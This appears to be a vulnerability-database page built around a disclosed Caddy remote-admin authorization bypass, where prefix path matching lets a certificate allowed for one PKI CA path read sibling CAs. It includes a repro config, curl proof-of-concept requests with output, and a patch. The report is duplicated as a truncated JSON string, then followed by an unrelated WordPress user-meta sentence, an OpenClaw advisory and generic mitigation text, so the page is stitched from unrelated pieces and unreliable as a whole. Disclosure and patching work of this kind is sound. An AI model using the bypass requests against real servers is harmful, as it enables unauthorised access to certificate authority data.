Summary
Caddy: Remote Admin Authorization Bypass on PKI Endpoints via Prefix-Based Path Matching
Details

AI Disclosure

I used an LLM to help review the source code, reason about attack surface, and help draft and refine this report. I manually validated the finding by reproducing it locally, confirming the vulnerable code path, and verifying the HTTP behavior with curl -v.

## Summary

Caddy's remote admin access control performs path authorization using prefix matching:

  • admin.go: strings.HasPrefix(r.URL.Path, allowedPath)

This allows a client certificate authorized only for /pki/ca/prod to access sibling PKI resources whose paths merely share the same prefix, such as /pki/ca/prod-backup.

This is an authorization bug in Caddy's source code, not a misconfiguration issue. The configured policy is more restrictive than the behavior that Caddy actually enforces.

## Affected Component

Remote admin access control for PKI admin endpoints.

Relevant code:

## Root Cause

In RemoteAdmin.enforceAccessControls(), allowed paths are checked like this:

```go for _, allowedPath := range accessPerm.Paths { if strings.HasPrefix(r.URL.Path, allowedPath) { pathFound = true break } }


  This does not enforce a path-segment boundary.

  So if the allowed path is:

  /pki/ca/prod

  then all of the following are treated as authorized:

  - /pki/ca/prod-backup
  - /pki/ca/prod1
  - /pki/ca/prodanything

  For PKI admin endpoints, the CA ID is taken directly from the request path:

  - modules/caddypki/adminapi.go:164

  So /pki/ca/prod-backup is interpreted as CA ID prod-backup, even though only /pki/ca/prod was intended to be allowed.

  ## Security Impact

  A remote admin client certificate restricted to one PKI CA path can access other CA resources with the same prefix.

  This breaks least-privilege remote admin policies and results in authenticated authorization bypass.

  ## Minimal Configuration

  File: repro.json

{ "admin": { "listen": "127.0.0.1:2019", "identity": { "identifiers": ["localhost"], "issuers": [ { "module": "internal" } ] }, "remote": { "listen": "127.0.0.1:2021", "access_control": [ { "public_keys": [""], "permissions": [ { "methods": ["GET"], "paths": ["/pki/ca/prod"] } ] } ] } }, "apps": { "pki": { "certificate_authorities": { "prod": { "name": "prod" }, "prod-backup": { "name": "prod-backup" } } } } }

  ## Reproduction Steps From Scratch

  ### 1. Generate a client certificate

openssl req -x509 -newkey rsa:2048 -nodes -days 365 \ -subj '/CN=remote-admin-client' \ -keyout client.key \ -out client.crt


  ### 2. Convert the client certificate to base64 DER

  CLIENT_CERT_B64="$(openssl x509 -in client.crt -outform der | base64 | tr -d '\n')"

  ### 3. Put that value into repro.json

  Replace:

  <CLIENT_CERT_BASE64_DER>

  with the value of CLIENT_CERT_B64.

  ### 4. Run Caddy

  go run ./cmd/caddy run --config ./repro.json

  ### 5. Confirm access to the intended allowed path

curl -vk \ --resolve localhost:2021:127.0.0.1 \ --cert ./client.crt \ --key ./client.key \ https://localhost:2021/pki/ca/prod

  Expected result:

  - HTTP/1.1 200 OK

  ### 6. Request a different CA whose path shares the same prefix

curl -vk \ --resolve localhost:2021:127.0.0.1 \ --cert ./client.crt \ --key ./client.key \ https://localhost:2021/pki/ca/prod-backup

  Expected secure behavior:

  - HTTP/1.1 403 Forbidden

  Actual behavior:

  - HTTP/1.1 200 OK

  ## Precise HTTP Requests and Output

  ### Allowed path

curl -vk \ --resolve localhost:2021:127.0.0.1 \ --cert ./client.crt \ --key ./client.key \ https://localhost:2021/pki/ca/prod

  Response excerpt:

GET /pki/ca/prod HTTP/1.1 Host: localhost:2021 User-Agent: curl/8.5.0 Accept: /

< HTTP/1.1 200 OK < Content-Type: application/json

  ### Unauthorized sibling path that is incorrectly allowed

curl -vk \ --resolve localhost:2021:127.0.0.1 \ --cert ./client.crt \ --key ./client.key \ https://localhost:2021/pki/ca/prod-backup

  Response excerpt:

GET /pki/ca/prod-backup HTTP/1.1 Host: localhost:2021 User-Agent: curl/8.5.0 Accept: /

< HTTP/1.1 200 OK < Content-Type: application/json

  The body returned CA information for prod-backup, despite the configured permission only allowing /pki/ca/prod.

  ## Why This Is Not Just Misconfiguration

  The configuration explicitly attempts to restrict access to:

  /pki/ca/prod

  The unsafe behavior is caused by Caddy's implementation using prefix matching instead of segment-aware matching. The product does not enforce the configured policy as written.

  ## Suggested Fix

  Path authorization should allow:

  - exact match, or
  - subpath match only when the next character is /

  For example:

func pathAllowed(reqPath, allowedPath string) bool { if reqPath == allowedPath { return true } return strings.HasPrefix(reqPath, allowedPath+"/") }

  This preserves intended access to subresources like:

  - /pki/ca/prod/certificates

  while correctly denying sibling resources like:

  - /pki/ca/prod-backup

  ## Working Patch

diff --git a/admin.go b/admin.go index 0000000..0000000 100644 --- a/admin.go +++ b/admin.go @@ -716,8 +716,8 @@ func (remote RemoteAdmin) enforceAccessControls(r *http.Request) error { // verify path pathFound := accessPerm.Paths == nil for _, allowedPath := range accessPerm.Paths { - if strings.HasPrefix(r.URL.Path, allowedPath) { - pathFound = true + if r.URL.Path == allowedPath || strings.HasPrefix(r.URL.Path, allowedPath+"/") { + pathFound = true break } }

``` ## Why the Patch Works

The patch changes authorization from naive prefix matching to segment-aware matching.

This allows:

  • /pki/ca/prod
  • /pki/ca/prod/certificates

but denies:

  • /pki/ca/prod-backup
  • /pki/ca/prod1

which is consistent with the configured path policy.

## Suggested Regression Tests

At minimum:

  1. Allow /pki/ca/prod, request /pki/ca/prod, expect allowed.
  2. Allow /pki/ca/prod, request /pki/ca/prod/certificates, expect allowed.
  3. Allow /pki/ca/prod, request /pki/ca/prod-backup, expect denied.
  4. Allow /pki/ca/prod, request /pki/ca/prod1, expect denied.

  "details": "## AI Disclosure\n\n  I used an LLM to help review the source code, reason about attack surface, and help draft and refine this report.\n  I manually validated the finding by reproducing it locally, confirming the vulnerable code path, and verifying the HTTP behavior with `curl -v`.\n\n  ## Summary\n\n  Caddy\u0027s remote admin access control performs path authorization using prefix matching:\n\n  - [`admin.go`](/caddy/admin.go#L719): `strings.HasPrefix(r.URL.Path, allowedPath)`\n\n  This allows a client certificate authorized only for `/pki/ca/prod` to access sibling PKI resources whose paths merely share the same prefix, such as `/pki/ca/prod-backup`.\n\n  This is an authorization bug in Caddy\u0027s source code, not a misconfiguration issue. The configured policy is more restrictive than the behavior that Caddy actually enforces.\n\n  ## Affected Component\n\n  Remote admin access control for PKI admin endpoints.\n\n  Relevant code:\n\n  - [`admin.go`](/caddy/admin.go#L687)\n  - [`admin.go`](/caddy/admin.go#L719)\n  - [`modules/caddypki/adminapi.go`](/caddy/modules/caddypki/adminapi.go#L68)\n  - [`modules/caddypki/adminapi.go`](/caddy/modules/caddypki/adminapi.go#L164)\n\n  ## Root Cause\n\n  In `RemoteAdmin.enforceAccessControls()`, allowed paths are checked like this:\n\n  ```go\n  for _, allowedPath := range accessPerm.Paths {\n  \tif strings.HasPrefix(r.URL.Path, allowedPath) {\n  \t\tpathFound = true\n  \t\tbreak\n  \t}\n  }\n```\n\n  This does not enforce a path-segment boundary.\n\n  So if the allowed path is:\n\n  /pki/ca/prod\n\n  then all of the following are treated as authorized:\n\n  - /pki/ca/prod-backup\n  - /pki/ca/prod1\n  - /pki/ca/prodanything\n\n  For PKI admin endpoints, the CA ID is taken directly from the request path:\n\n  - modules/caddypki/adminapi.go:164\n\n  So /pki/ca/prod-backup is interpreted as CA ID prod-backup, even though only /pki/ca/prod was intended to be allowed.\n\n  ## Security Impact\n\n  A remote admin client certificate restricted to one PKI CA path can access other CA resources with the same prefix.\n\n  This breaks least-privilege remote admin policies and results in authenticated authorization bypass.\n\n  ## Minimal Configuration\n\n  File: repro.json\n```\n  {\n    \"admin\": {\n      \"listen\": \"127.0.0.1:2019\",\n      \"identity\": {\n        \"identifiers\": [\"localhost\"],\n        \"issuers\": [\n          { \"module\": \"internal\" }\n        ]\n      },\n      \"remote\": {\n        \"listen\": \"127.0.0.1:2021\",\n        \"access_control\": [\n          {\n            \"public_keys\": [\"\u003cCLIENT_CERT_BASE64_DER\u003e\"],\n            \"permissions\": [\n              {\n                \"methods\": [\"GET\"],\n                \"paths\": [\"/pki/ca/prod\"]\n              }\n            ]\n          }\n        ]\n      }\n    },\n    \"apps\": {\n      \"pki\": {\n        \"certificate_authorities\": {\n          \"prod\": {\n            \"name\": \"prod\"\n          },\n          \"prod-backup\": {\n            \"name\": \"prod-backup\"\n          }\n        }\n      }\n    }\n  }\n\n```\n  ## Reproduction Steps From Scratch\n\n  ### 1. Generate a client certificate\n```\n  openssl req -x509 -newkey rsa:2048 -nodes -days 365 \\\n    -subj \u0027/CN=remote-admin-client\u0027 \\\n    -keyout client.key \\\n    -out client.crt\n\n```\n\n  ### 2. Convert the client certificate to base64 DER\n\n  CLIENT_CERT_B64=\"$(openssl x509 -in client.crt -outform der | base64 | tr -d \u0027\\n\u0027)\"\n\n  ### 3. Put that value into repro.json\n\n  Replace:\n\n  \u003cCLIENT_CERT_BASE64_DER\u003e\n\n  with the value of CLIENT_CERT_B64.\n\n  ### 4. Run Caddy\n\n  go run ./cmd/caddy run --config ./repro.json\n\n  ### 5. Confirm access to the intended allowed path\n```\n  curl -vk \\\n    --resolve localhost:2021:127.0.0.1 \\\n    --cert ./client.crt \\\n    --key ./client.key \\\n    https://localhost:2021/pki/ca/prod\n```\n  Expected result:\n\n  - HTTP/1.1 200 OK\n\n  ### 6. Request a different CA whose path shares the same prefix\n```\n  curl -vk \\\n    --resolve localhost:2021:127.0.0.1 \\\n    --cert ./client.crt \\\n    --key ./client.key \\\n    https://localhost:2021/pki/ca/prod-backup\n```\n  Expected secure behavior:\n\n  - HTTP/1.1 403 Forbidden\n\n  Actual behavior:\n\n  - HTTP/1.1 200 OK\n\n  ##

The product does not enforce the configured policy as written.\n\n  ## Suggested Fix\n\n  Path authorization should allow:\n\n  - exact match, or\n  - subpath match only when the next character is /\n\n  For example:\n```\n  func pathAllowed(reqPath, allowedPath string) bool {\n  \tif reqPath == allowedPath {\n  \t\treturn true\n  \t}\n  \treturn strings.HasPrefix(reqPath, allowedPath+\"/\")\n  }\n```\n  This preserves intended access to subresources like:\n\n  - /pki/ca/prod/certificates\n\n  while correctly denying sibling resources like:\n\n  - /pki/ca/prod-backup\n\n  ## Working Patch\n\n```\n  diff --git a/admin.go b/admin.go\n  index 0000000..0000000 100644\n  --- a/admin.go\n  +++ b/admin.go\n  @@ -716,8 +716,8 @@ func (remote RemoteAdmin) enforceAccessControls(r *http.Request) error {\n   \t\t\t\t\t\t// verify path\n   \t\t\t\t\t\tpathFound := accessPerm.Paths == nil\n   \t\t\t\t\t\tfor _, allowedPath := range accessPerm.Paths {\n  -\t\t\t\t\t\t\tif strings.HasPrefix(r.URL.Path, allowedPath) {\n  -\t\t\t\t\t\t\t\tpathFound = true\n  +\t\t\t\t\t\t\tif r.URL.Path == allowedPath || strings.HasPrefix(r.URL.Path, allowedPath+\"/\") {\n  +\t\t\t\t\t\t\t\tpathFound = true\n   \t\t\t\t\t\t\t\tbreak\n   \t\t\t\t\t\t\t}\n   \t\t\t\t\t\t}\n\n\n```\n  ## Why the Patch Works\n\n  The patch changes authorization from naive prefix matching to segment-aware matching.\n\n  This allows:\n\n  - /pki/ca/prod\n  - /pki/ca/prod/certificates\n\n  but denies:\n\n  - /pki/ca/prod-backup\n  - /pki/ca/prod1\n\n  which is consistent with the configured path policy.\n\n  ## Suggested Regression Tests\n\n  At minimum:\n\n  1. Allow /pki/ca/prod, request /pki/ca/prod, expect allowed.\n  2. Allow /pki/ca/prod, request /pki/ca/prod/certificates, expect allowed.\n  3. Allow /pki/ca/prod, request /pki/ca/prod-backup, expect denied.\n  4. Allow /pki/ca/prod, request /pki/ca/prod1, expect denied.",

This makes it possible for authenticated attackers, with subscriber-level permissions or above, to update the user metas arbitrarily. The meta value can only be a string.

Vulnerability from github – Published: 2026-04-10 00:30 – Updated: 2026-04-10 00:30
VLAI
Details

OpenClaw before 2026.3.25 contains an improper access control vulnerability in the HTTP /sessions/:sessionKey/kill route that allows any bearer-authenticated user to invoke admin-level session termination functions without proper scope validation. Attackers can exploit this by sending authenticated requests to kill arbitrary subagent sessions via the killSubagentRunAdmin function, bypassing ownership and operator scope restrictions.

Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
